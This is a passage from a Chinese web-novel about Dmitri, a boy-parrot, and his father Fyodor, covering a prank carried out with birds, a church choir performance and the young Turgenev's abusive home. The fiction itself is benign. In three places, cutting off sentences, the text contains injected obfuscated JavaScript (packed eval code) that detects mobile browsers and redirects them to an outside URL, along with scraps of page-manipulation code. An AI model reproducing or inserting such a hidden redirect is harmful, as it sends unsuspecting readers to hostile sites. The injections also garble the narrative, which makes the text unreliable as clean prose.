德米特里在这里度过的大部分时间都是愉快的,不过偶尔也有例外。 某天,德米特里在外面遇到了几个没礼貌的青少年,对方言语无状,讥笑德米特里是个小矮子,把德米特里气得不轻。 “就算是女孩子,你这样的也太矮了。”对方笑嘻嘻地说道,朝德米特里的头顶伸出手,德米特里觉得对方不怀好意,像是要把脏东西抹到他头上来,于是他立即躲开了,跑回了旅馆。 德米特里闷闷不乐,感觉被不实谣言诋毁了。他跑去问费奥多尔,“我很矮吗?” “不,正常而言,你的身高算是中等。”费奥多尔正在看报纸,闻言头也不抬地说道,“为什么问这个?” 德米特里不高兴地说道,“有个可恶的家伙说我是个小矮子。” “谁?” “……不知道他叫什么。”德米特里想了又想,有些沮丧,“可能叫做白痴吧。” 德米特里骂了一句白痴,还是觉得不解气,又气冲冲地跑出去了。没多久,费奥多尔就看见德米特里脸上重新挂上了笑容,完全不见刚才的生气。 他忍不住觑了对方一眼,惊奇于对方情绪的快速转变。 费奥多尔还没开始问,德米特里就期待地望着他,迫不及待地说道,“爸爸,你猜我刚刚去干什么了?” “什么?”费奥多尔配合地问道。 “我让我的小弟们去教训了一顿那个讨人厌的臭小子——或许明天的娱乐报纸上会刊登这件事,”德米特里扬眉吐气地说道,“——关于几个白痴被一群正义的鸟儿围攻这件事。” “什么围攻?” “总之……就是那样啦。”德米特里说话含含糊糊的,不知想到了什么,忍不住低头窃笑,叫人一看就知道,他做的事绝对不止口头说的这么简单。 果然,就在次日,当地的娱乐报纸刊登了一则滑稽的报道——成群的鸟雀在城市上空集结起来,对着几个青少年空投鸟屎炸弹,有好事者抓拍到了他们浑身涂满鸟屎、狼狈逃窜的样子,为很多人提供了茶余饭后的谈资。 德米特里为了犒劳听话的小弟们,还从米粮店买了些麦子回来,把每只参与行动的鸟儿都喂的饱饱的。他一边从袋子里掬起一把麦子,一边嘀嘀咕咕地说道,“我可没策划什么坏事!只是合情合理的反击而已,你们说是不是?” 鸟雀们纷纷伸头去啄他手里的麦子,脑袋一点一点的,看起来就像在点头认同似的。 . 每逢星期日,德米特里就会有机会跟大人一起去教堂做礼拜。 因为城中心的教堂距离他们居住的旅馆比较远,所以德米特里平时几乎不可能自己去教堂玩耍。他郁闷地发现了一件事,当他试图离开以旅馆为中心的方圆半俄里时,都会有人把他带回去。 那个人有时是费奥多尔,有时是旅馆老板,就连那个卖给他们大提琴的乐器店老板,在瞧见德米特里跑远时,都不介意帮忙看一下孩子。 “德米这么漂亮的孩子,可别让人拐跑了。”乐器店老板把德米特里带回来时,还和费奥多尔说道,“前阵子有孩子被人贩子拐走了,好不容易找回来之后手脚都断了,不知道能不能治好。” “什么人贩子?”德米特里还是头一回听说。 “就是专门偷你们这种孩子的坏人,被人贩子偷走,就很难回家了。” 德米特里听了这话,才歇了自己跑出去玩的心思,他又不知从哪儿翻出了前阵子关于人贩子的报道,看了报纸上受害者落下残废的凄惨下场,吓了一大跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291918|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 到了晚上,德米特里还记着那个人贩子,整只鸟都惊魂未定。虽说他可以用爸爸会救他这个理由来安慰一下自己,还是控制不住地一惊一乍,总是警惕地盯着窗户,生怕外边突然窜进来一个人贩子把他从爸爸身边抢走。 因为这个,德米特里睡得很不安稳,就算是已经睡着了,还不自觉地用翅膀拍旁边人的脸庞,直接把人拍醒了。 “……”费奥多尔醒来时,鹦鹉正趴在他脸上,灰色的羽毛刮蹭着他的眼睫毛,抖落一些羽粉,让他一睁眼就忍不住多眨了几下眼,鼻子也痒痒的,有种打喷嚏的冲动。 费奥多尔将鹦鹉放回鸟窝,又拿了条小毯子盖上,对方却不领情,明明在睡梦之中,还是闹腾得厉害,翅膀拼命拍打空气,他唤了几声,对方也没有醒来的意思,却让他睡意全无。 无可奈何之下,费奥多尔只能点了根蜡烛,就着微弱的烛光,斜倚着阅读一本陈旧的诗歌集,指望着靠这本书度过无聊的下半个晚上。 德米特里在被子里拱来拱去,到了后半夜,他总算醒了,探出一个脑袋,“爸爸,你在看什么?” 费奥多尔没能得到足够的睡眠,黑眼圈有点重,反应也有点迟钝,闻言过了半晌才回道,“诗歌集。”他还合上书,将书侧过来,向鹦鹉展示诗歌集略有些破损的封面。 德米特里抖了抖毛,打着哈欠落到了费奥多尔的肩膀上,和他一起看那本诗歌集,可德米特里对抒情诗歌不感兴趣,只大致看了一两眼,就兴致缺缺地扭开了头,转而看向室内的其他东西,像是在找打发时间的物件,可是失败了,德米特里看了一圈,还是选择蹲在费奥多尔的肩膀上。 “为什么晚上不睡觉?”德米特里又打了个哈欠,“爸爸,你的蜡烛太亮了,把我吵醒了。” “蜡烛把你吵醒了?”费奥多尔瞧了他一眼,纠正道,“客观来说,蜡烛不具备吵醒你的能力,它顶多发出光亮,而不可能像轰隆雷声一样把你吵醒。这么说才是正确的——蜡烛太亮了,所以你醒了。” 德米特里“噢”了一声,刚睡醒,脑袋不清醒,还真重复了一遍,“蜡烛太亮了,所以我醒了。” 就这么安静了一会儿,德米特里为了吸引对方的注意力,恶鸟先告状地指责道,“都怪你,爸爸,你的蜡烛破坏了我的美梦。” 德米特里期盼地望着对方垂下的眼睫毛,希望下一刻对方将目光放到他的身上。 不要再看书啦,快陪德米特里聊天。 可费奥多尔却没当真,完全没有搭理鹦鹉的意思,感觉脖颈侧面有点痒,就推了推那只靠在他颈侧的鹦鹉,“你的羽毛搞得我很痒。” 见费奥多尔不跟他玩,德米特里有些失望,他还指望着对方能和他多说两句话呢,也好打发一下时间。 德米特里百无聊赖地理了理羽毛,换了几个姿势,一会儿蹲在对方肩膀上,一会儿趴在对方头顶,扰的对方烦不胜烦,忍无可忍之下,就将他薅下来放在书籍与腹部衣物形成的夹角里,“没事做就一起看书,不要乱动了。” 德米特里表面上乖乖地“哦”了一声,只安静了几分钟,很快又开始扭头,好在他这回的动作幅度不算大,尚且在饲养人可以忍受的范围内。 床头的蜡烛发出微光,德米特里把脑袋搭在书页上,侧着头望向窗外,就看到了外边如圆盘似的皎洁月亮,心想,今晚的月亮好像吃撑了。 他还是第一次看到圆形的月亮。 24.chapter24 次日是星期日,正好是人们去教堂做礼拜的日子。 旅馆老板起了个大早,想赶上今天的第一场礼拜,结果就刚好撞见了下楼买早餐的费奥多尔,见费奥多尔一副没精打采的样子,还关心了一句,“你没事吧?” “……没事。”只是一宿没睡而已,他早就习惯了。 费奥多尔经过门槛时,还因为走路不看路,差点摔了一跤,好在他及时反应过来,扶住了旁边的把手。 附近就有一家面包店,费奥多尔买了几条还热乎着的松软面包,回到旅馆时,就看到德米特里已经自己穿好了衣服,跑到楼下来等他了。 “爸爸!”德米特里飞奔过来抱住他的腿,“我想吃蜂蜜味的。” 费奥多尔递给德米特里一条表面金黄的长面包,面包下部是用锡纸包起来的,不会弄脏手。 每天准时在早晨送来预订牛奶的送货员也到了,德米特里欢呼着跑过去,从送货员手中拿到了一瓶温热的牛奶,并且得到了一个来自送货员的摸摸头。 起因是费奥多尔订的报纸上刊登了预订牛奶的联系方式,德米特里早晨又经常被.干巴的面包噎到,所以费奥多尔就订了一段时间的牛奶,在期限内,每天早上都会有人将瓶装牛奶送货上门。 “你今天有空吗?”旅馆老板问道,“要不要去教堂做礼拜,如果我没记错的话,你很久没有去和上帝祷告了。” “我每天睡前都会和主祈祷。”费奥多尔冷淡道,显然不想走一趟教堂,他现在只想找个安静的地方睡一觉。 但德米特里却很有兴趣,追问道,“是城中心的那座教堂吗?我可以去吗?” “当然,不论是否为上帝的信徒,都有资格进入教堂。”旅馆老板灵机一动,提议道,“要不我带德米去做礼拜?” 德米特里期待地看向费奥多尔,就见后者思索一会儿,很快点了头,“中午之前记得回来。” 他刚刚怎么没有想到呢?让德米特里去教堂做礼拜,就是一个合理的支开德米特里的理由。 德米特里完全没有注意到饲养人的意图,高兴地喊叫一声,就跟着旅馆老板一同出门了。外面有点冷,德米特里一迈出门槛就忍不住打了个哆嗦,他回过头,就看见了还没来得及上楼休息的费奥多尔,对方头上还戴着那顶毛绒绒的保暖帽。 “爸爸,可以借我一下你的帽子吗?”德米特里站在门外,怕费奥多尔听不见,还手作喇叭,大声喊道。 费奥多尔止住上楼的步伐,就对上了外面德米特里亮晶晶的蓝眸,他今天出去买面包之前,还帮对方编了个辫子,用之前买的新发带绑了个红色蝴蝶结,也不知对方怎么弄的,这么短的时间,鬓角的发丝就变得有些凌乱了——也有可能是风吹的?的确,今日的风确实有点大。 通宵极大地压缩了人的精力,其实费奥多尔本可以上楼帮德米特里拿个帽子,但他现在实在是不想多走哪怕一步了,在帽子和多走几步之间只犹豫了一秒,就有了决断。 德米特里接过那顶与他有着深厚渊源的毛绒帽子,一戴上就感到了温暖的余温,在毛绒帽的保暖之下,他的耳朵也不至于冻得红通通的了,他语速很快地说道,“谢谢爸爸!”然后就迫不及待地跟着走了,不远处就有一辆马车在等着他们。 费奥多尔目送他们远去,叹了口气,他终于可以睡一个好觉了。 . 早晨的教堂十分冷清,破晓的天光穿透云层,照在五彩斑斓的穹顶上,德米特里从马车上下来时,教堂前只有一群早起的白鸽在啄食地上的小米,这些由教堂圈养的鸽子时常与人见面,早就失去了对人类的警惕心,德米特里已经走得很近了,它们有的在啄米,有的在梳理羽毛,就是没有一个受惊起飞的。 或许是因为来得太早,教堂门口的铁栅栏上面还挂着一把锁。 “看来是来得太早了。”旅馆老板抬起手腕,看了一眼时间,“还有半个多小时,第一场礼拜才开始呢。我猜,神职人员们恐怕还在用早餐,我们得等一会儿。” 德米特里则走到白鸽们身边,蹲下身摸了摸它们的脑袋,从喉咙里发出低低的咕咕声,模仿鸽子的叫声。鸽子们听懂了他的话,纷纷围过来打量着这个与众不同的人类幼崽。 “咕咕,咕,咕咕咕!(我是来这里做祷告的,你们知道这儿的修女在哪里吗?)” 鸽子的智商有限,不理解什么叫做修女,但它们知道有人会准时准点地给它们投喂食物,有聪明的鸽子就飞起来带路,德米特里毫不犹豫地跟了上去。 “德米,你往哪跑呢!”旅馆老板本想在附近找家咖啡店坐一下,结果德米特里却跟着一只鸽子跑了,他也只好赶紧跟上去。 他以为他很快就可以追上德米特里,但出乎意料的是,德米特里看上去小小一只,实际上却跑得很快,他在后面穷追不舍了好几分钟,才追上对方。 带路的鸽子最终停在了一个穿着漆黑衣服的人面前,那个人戴着黑色的面纱,全身都是黑漆漆的,从对方眼角的皱纹和打扮判断,对方应当是一名老修女,旅馆老板的称呼也说明了这点。 “早上好,维多利亚修女,教堂还没开门吗?” 维多利亚修女惊讶地挑起眉毛,板正地挺直了腰,“愿主庇佑您。抱歉,我没想到会有人来这么早,等一下,我这就去帮您开门。”她这么说着,拿出了一串钥匙,因为年纪大了视力不好,只能眯着眼,把那串钥匙放得近一点,才找到了打开教堂正门的那把钥匙。 她领着旅馆老板往教堂门口走,忽然注意到了旁边和白鸽玩耍的德米特里,“这是您的孩子么?” “德米特里是我一个朋友的孩子,我好不容易才从朋友那里要来了德米特里的半天时间——用来做礼拜。”虽然德米特里并不是他的孩子,旅馆老板还是有荣与焉地笑了一下。 维多利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291919|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚修女拿钥匙打开了门,走进教堂内部,一直频频观察德米特里,德米特里感觉到了对方灼灼的视线,就问,“我的穿着有什么不得体的吗?” 维多利亚修女这才回过神来,“没有。”她那张连褶皱都盈满了严肃的脸上短暂地出现了踌躇的神色,“嗯……我想问问,你愿意加入我们的唱诗班么?你的嗓音和外貌都很合适。” 唱诗班是天主教在教堂内举行崇拜仪式时唱圣歌的合唱队,大多数成员通常为年幼的儿童。前几天,唱诗班有成员因为意外而退出,偏偏这周末还有很多教徒要做礼拜。 德米特里有点纠结,“我得问问我爸爸。” 维多利亚修女想到了迫在眉睫的礼拜,弯下腰和德米特里商量道,“你能担任一下唱诗班的临时成员吗?不需要会唱圣歌,也不需要会乐器,只要张嘴就行了——” 德米特里有些疑惑地提出了一个犀利的问题,“反正是假唱,少一个人不会有人注意的吧?” 维多利亚修女见状连忙捂住他的嘴,扫视周围,见旅馆老板已经走去和神父打招呼,没听到德米特里关于假唱的发言,这才松了口气,“这种事怎么能说出口呢?我们已经提前发出了通知,这周日会有总共40人的唱诗班——我们总不能对信徒言而无信,说是40个人,那就一个也不能少。既然是为了兑现承诺,上帝也会原谅我们的。” 维多利亚修女尽可能地劝说着德米特里,“如果你愿意帮忙的话,上帝一定会终生保佑你的。” “好吧。”德米特里想了想,还是答应了,倒不是为了上帝的保佑,只是因为他不介意向他人伸出援手,“既然只是临时帮忙,应该不用经过爸爸的同意。” 就这样,德米特里第一次做礼拜,就是在唱诗班的位置,维多利亚修女听说他会拉大提琴,特意找人借来了一把尺寸合适的大提琴,还给德米特里一张乐谱,德米特里稍微看了一下,就发现这对演奏的技艺要求并不高。 下方的信徒们穿着各异,各个年龄段的人都有,即使是最早的一场礼拜,到场的人也绝对算不上少。德米特里作为大提琴手,凳子放在比较偏的地方,也让他几乎没有压力,伴奏时甚至有余力去打量底下专注祈祷的信徒、神父还有修女们,有一个金发的男孩趁身边陪他做礼拜的佣人不注意,悄悄抬起头来,就刚好对上了德米特里的视线。 德米特里对着对方笑了笑,继续拉大提琴。对方像是吓了一跳,连忙低下头,过了一会儿,又没忍住悄悄抬起头去看那个蓝眼睛的大提琴手,没一会又做贼心虚似的低下头,反反复复几次,德米特里终于又一次注意到了他。 看什么呢,你这家伙。德米特里注意到这个不守规矩的家伙,无声地做了个口型。 见对方窘迫地低下头,德米特里就抱着捉弄人的心思,促狭地弯着眼,后半场他一直在关注对方,只可惜对方羞窘交加之下,没敢抬起头来。 . 25.chapter25 第一场礼拜结束后,已经过了两个多小时。礼拜是从早晨七点开始的,现在也不过九点多。 因为费奥多尔只说,让德米特里在中午之前回来,旅馆老板就没有急着带德米特里回去。 “挺难得的,不是么?”旅馆老板坐在教堂前的阶梯上,用口袋里的麦麸喂鸽子,可鸽子吃惯了麦子,哪看得上他这点东西,对他不理不睬。 老板有些失望,不过也没有强求。鸽子飞走了,他嘴上仍然在和德米特里说话,“我可不敢肯定,下周费佳会不会同意你来做礼拜。四处走走吧,玩累了,可以回来找我。” 德米特里这才放心地在教堂逛起来,到处都是参与了第一场礼拜的教徒,或许是因为唱诗班只有他这么一个年纪小的大提琴手,很多教徒都对他的脸有印象,有个抱着孩子的母亲瞧见了闲逛的德米特里,还递来了一束百合花。 德米特里好奇地去看她怀里的孩子,那孩子与他对上眼神,就咧开嘴笑,德米特里用手去戳对方的脸,对方就抓住他的手指不松手。 信徒们渐渐散去后,距离第二场礼拜又还早,教堂里的人就少了。 维多利亚修女很满意德米特里的表现,她是个相当严苛的修女,对唱诗班成员的要求很高,所以才迟迟没有寻到合适的新鲜血液,她在教堂工作了大半辈子,对音乐也有一定的鉴赏能力,觉得德米特里的大提琴拉得很不错。又因为德米特里还会一点唱歌,她就惊为天人,虽然德米特里没法自己给出肯定的答复,还是试图劝说德米特里加入唱诗班。 为了感谢德米特里的帮助,维多利亚修女邀请他一同就餐。不过德米特里想和费奥多尔一起吃中餐,就拒绝了。 “我可以再用一下这把大提琴吗?”德米特里问道。 离回去还有几个小时,教堂里又没有太多有趣的东西,德米特里听神父念了一会儿圣经,就没兴趣了。为了打发时间,德米特里觉得练练琴也是不错的选择。 “当然,在今天,你拥有它全部的使用权。这儿还有一本老版的乐谱,你感兴趣可以看看。”维多利亚修女立刻说道。她还想和德米特里聊聊更多有关唱诗班的事情,突然,有一名穿着相似的年轻修女在不远处唤她的名字,多半是有事,维多利亚修女便只好先去处理了。 “我得先去处理一下——呃,你中午十二点才回去,是不是?我十一点,不,十点就回来。” 德米特里点了点头。 原本唱诗班的演出地方已经空无一人,德米特里之前用的那把大提琴还靠在旁边的凳子上面,上午九点钟的时间,就算是秋天的俄罗斯,太阳也已经完全升起来了,德米特里再次坐回那把凳子,用琴弓试了几个音,就感觉后背暖洋洋的,阳光透过彩绘的玻璃照到了他的背上,因着这光线不算强烈,就算旁边架子上摆着的厚厚乐谱已经完全沐浴在阳光下,他也能看清上面的每一个音符。 德米特里喜欢这种有阳光的天气,天气冷的时候,手脚都是冰凉的,感觉又钝又僵硬,而阳光往往意味着温暖,坐在阳光下时,感觉拿着琴弓的手都变得灵活起来了。 他对着乐谱,断断续续地拉着大提琴,曲调虽不连贯,却足够准确,稍微练了一会儿,他就熟练了新的曲子。其实只要花费很短的时间,他就能掌握新的曲子,他好像生来就拥有音乐的天赋,只需要一点指导,就能靠自己走完接下来的路。 有时候德米特里也会觉得乐器是一种很神奇的东西,只需要用手指按几下琴键,钢琴就能发出如玉石坠地的清脆声响,只需要用琴弓拉动琴弦,大提琴就能发出它那标志性的低沉悠扬的声音……多么不可思议! 比起钢琴,德米特里更擅长大提琴,这主要是因为家学渊源——谁让费奥多尔只教过德米特里大提琴呢? 德米特里其实更喜欢大提琴,两种乐器对他来说难度差不多,音色也都让他感觉好听,但他却更喜欢大提琴,因为爱屋及乌——这可是他爸爸亲手教他的东西! 教堂里静悄悄的,除了修女或神父偶尔的脚步声,就只有德米特里一个人拉琴的声音,就在他沉醉于美妙的乐声时,靠近穹顶的窗口忽然传来鸟类拍打翅膀的声响,抬头一看,是一只有些眼熟的白鸽。 “嘿!”他仰起头来,对那只鸽子打了声招呼,“还记得我么?” 那只鸽子早晨才给他带过路,帮忙找到维多利亚修女开门,现在自然记得德米特里。德米特里说的是俄语,鸽子听不懂,却也自来熟地落在了他的手上,从喉咙发出咕咕的声音。 德米特里听懂了它的话,没忍住笑了,“有其他鸽子偷吃你藏起来的食物?” “没关系,上帝会惩罚它的!”德米特里学着维多利亚修女说什么都要拐一下上帝的说辞,心里回味一下,却把自己逗笑了。 他对鸽子说道,“我要练琴了,自己去玩吧。” 说着,他把鸽子捧在手心,用力往天上一抛,鸽子便扑凌凌地飞出去了,同一时间,钟楼响起了报时的钟声,有人在敲钟。教堂外面放养的鸽子们不再啄食教徒们放在地上的谷物,不约而同地飞了起来。 . 世界上总是有那么多意料之外的事情。 屠格涅夫的一天本不该包括来教堂做礼拜,但因为母亲昨日喝醉酒打断了大哥的腿,大哥现在还躺在家里,屠格涅夫就只好代替大哥来做礼拜。 这也是没办法的事,一个家庭中总该有个人来教堂走一趟,以此向神父修女们表示,他们的信仰依旧虔诚。屠格涅夫的母亲是个非常残暴的农奴主,也可以说是地主,对手下的农奴还有自己的孩子们都是一样的粗暴。作为一个家的主人,她一向是不乐意来教堂花两个小时做礼拜的,于是这差事就落在了屠格涅夫的身上。 不过这差事对屠格涅夫来说不算难以接受,要知道大哥每周去教堂做礼拜,都是大哥好不容易争取来的“放风”,因为信仰的存在,得以短暂地逃离那个窒息而毫无亲情氛围的家,来到相对宽和、没那么暴戾的教堂。或许是因为这个,大哥自小就信奉东正教,是他们家里信仰最坚定的人,屠格涅夫时常听大哥祈祷,“上帝会保佑我们。” 他对此不以为然,大哥每次被母亲毒打一顿,都会向上帝祈祷,在他看来,这大抵是某种心理安慰吧,不然,在推崇体罚教育的母亲手下,连劝说自己活下去都不是一件简单的事。 对他们家的兄弟姐妹来说,被鞭子抽都成了家常便饭。不同于托尔斯泰只在小时候挨过外祖父的鞭子,长大后便只是做做样子,不会真的下狠手,屠格涅夫的大哥都已经成年了,还是时常被母亲打,连成年的大哥都遭到如此对待,就更别提屠格涅夫和他后面的几个弟弟妹妹了。 屠格涅夫除了在出生后的第八天来教堂接受洗礼,就再也没有来过这里了。他早就记不清那座教堂的样子了,这次做礼拜,才是他真正意义上的第一次来教堂。 佣人在母亲的命令下,在一旁看着他,如果他做了什么不合规矩的事,佣人一旦告诉母亲,他毫无疑问会得到一顿毒打。 这真是世界上最糟糕的家庭。屠格涅夫心想,当您有个酗酒残忍的农奴主母亲,袖手旁观的常年不着家的冷漠骑兵父亲,那很遗憾——您这辈子都要笼罩在阴霾里了。 早晨的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298418|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空阴沉沉的,屠格涅夫看到便心情压抑,更别提那个可恶的、由母亲一手训练的、像母亲一样刻薄寡恩的佣人就在前面驾车,他实在是高兴不起来。 第一场礼拜就在早晨七点,屠格涅夫早早就到了,佣人在前边领路,他在后面多看了两眼教堂前面的鸽群,那些鸽子都长得差不多,浑身都是雪白的,鸽子们见惯了祷告的人们,对他爱搭不理,却也不介意他上前摸一下它们的翅膀。 佣人还在前面板板正正地走着,没注意到他快速地蹲下身摸了一把鸽子。在对方发觉之前,屠格涅夫很快跟上了,若无其事地走进了教堂。 第一场礼拜很快开始,唱诗班照常合唱起了圣歌,旁边有钢琴和大提琴的伴奏,旁边的人都闭上了眼,开始向心中的神灵祈祷,而屠格涅夫只闭眼了一分钟,就悄悄将眼睛睁开了一条缝,用余光观察佣人是否闭着眼,见佣人双目紧闭,他就直接放弃了祈祷。 在家里的时候,屠格涅夫绝对不敢做出如此不守规矩的行为,上一秒破坏规矩,下一秒鞭子就抽到脸上了。但现在他在教堂,这里是上帝的地盘,而上帝是仁慈的象征——祂总不会因为他不祷告而罚他下地狱。 他无声地转过头,打量着周围闭眼祷告的教徒们,披着黑袍子的圣父和修女也都一无所知地在心中默念圣经,就连上头的唱诗班,都是闭着眼献唱的。仿佛他一人睁开了眼,没人会发现他偶然的叛逆,没人会向母亲检举他的罪过,在此时此刻,他竟感到了一阵莫名的紧张和颤栗,还有种没由来的喊叫冲动,为这有生以来屈指可数的叛逆举动。 他感觉自己的胸腔在震荡,仿佛在迫不及待发出呼喊,吸引所有人的注意,但他其实没有发出任何声音,事实上,他甚至没发现,他下意识地屏住了呼吸。 他以为只有他一个人敢睁眼,同时东张西望,然而当他的视角往上抬时,却望见了一双让人印象深刻的蓝眸。那双眼睛的主人就待在一群乐器表演者之中,对方坐在一个小巧的板凳上,因为两腿之间夹着沉重的大提琴,对方必须用力绷紧一点,大提琴才不至于歪倒。 对方不像初学者那样拉琴时忍不住看着琴弦,以免出现错漏,而像是胸有成竹,相信自己不会出错似的,一手拿着琴弓,一手按压着琴弦,眼神却在到处张望,忽然,对方看向了他。 或许是因为他的打量太直白,台上的大提琴手忽地察觉到了来自某个不守规矩的人的注视,扫视一圈,精准地找到了窥探之人。 从看见对方的第一眼,屠格涅夫就知道对方与自己完全不是一类人,不像在严寒磨砺出的刀,更像是在爱中成长的花。 对方仿佛早已习惯了不守规矩,即使是在如此庄严的祷告现场随意打量周围,好像也成了一件正常的、没必要因此规训谁的小事。 对方是如此大胆,明明就坐在所有信徒的前面,教堂内部最显眼的位置,却胆敢光明正大地挑衅教会的规则。哪怕发觉了底下信徒的视线,对方却没有被抓到把柄的窘迫,反而不加收敛,眼中含着些促狭地笑意,对他做了个口型。 他的视力极佳,清晰地看到了对方的口型,对方在无声地对他说,看什么呢,你这家伙! 如同一个难得做坏事,心中不安定,却被逮了个正着的好孩子,他几乎是本能地低下了头,涌上心头的情绪不知是羞愧还是惊吓,十分窘然,仿佛在头上顶了一个沉沉的秤砣,抬不起头来。 他从未觉得时间如此漫长,等到上方的唱诗班终于唱完了圣歌,虔诚的信徒们也做完了祷告,他才不经意地抬头,余光悄悄关注着那个蓝眼睛的大提琴手,但对方早就不在看他了。